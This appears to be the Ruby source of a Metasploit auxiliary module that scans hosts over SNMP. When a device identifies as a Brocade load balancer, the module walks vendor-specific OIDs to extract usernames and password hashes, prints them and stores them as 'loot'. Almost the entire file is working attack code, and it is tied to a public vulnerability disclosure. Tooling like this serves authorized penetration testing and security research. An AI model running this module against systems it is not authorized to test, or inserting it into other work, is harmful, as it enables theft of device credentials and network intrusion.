75 lines
2.1 KiB
Ruby
75 lines
2.1 KiB
Ruby
#
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::SNMPClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Brocade Password Hash Enumeration',
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'Description' => %q{
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This module extracts password hashes from certain Brocade load
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balancer devices.
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},
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'References' =>
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[
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[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string' ]
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],
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'Author' => ['Deral "PercentX" Heiland'],
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'License' => MSF_LICENSE
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)
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end
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def run_host(ip)
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begin
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snmp = connect_snmp
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if snmp.get_value('sysDescr.0') =~ /Brocade/
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@users = []
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snmp.walk("1.3.6.1.4.1.1991.1.1.2.9.2.1.1") do |row|
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row.each { |val| @users << val.value.to_s }
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end
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@hashes = []
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snmp.walk("1.3.6.1.4.1.1991.1.1.2.9.2.1.2") do |row|
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row.each { |val| @hashes << val.value.to_s }
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end
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print_good("#{ip} - Found user and password hashes:")
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end
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credinfo = ""
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@users.each_index do |i|
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credinfo << "#{@users[i]}:#{@hashes[i]}" << "\n"
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print_good("#{@users[i]}:#{@hashes[i]}")
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end
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#Woot we got loot.
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loot_name = "brocade.hashes"
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loot_type = "text/plain"
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loot_filename = "brocade_hashes.txt"
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loot_desc = "Brodace username and password hashes"
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p = store_loot(loot_name, loot_type, datastore['RHOST'], credinfo , loot_filename, loot_desc)
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print_status("Credentials saved: #{p}")
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rescue ::SNMP::UnsupportedVersion
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rescue ::SNMP::RequestTimeout
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rescue ::Interrupt
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raise $!
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rescue ::Exception => e
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print_error("#{ip} - Error: #{e.class} #{e}")
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disconnect_snmp
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end
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end
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end
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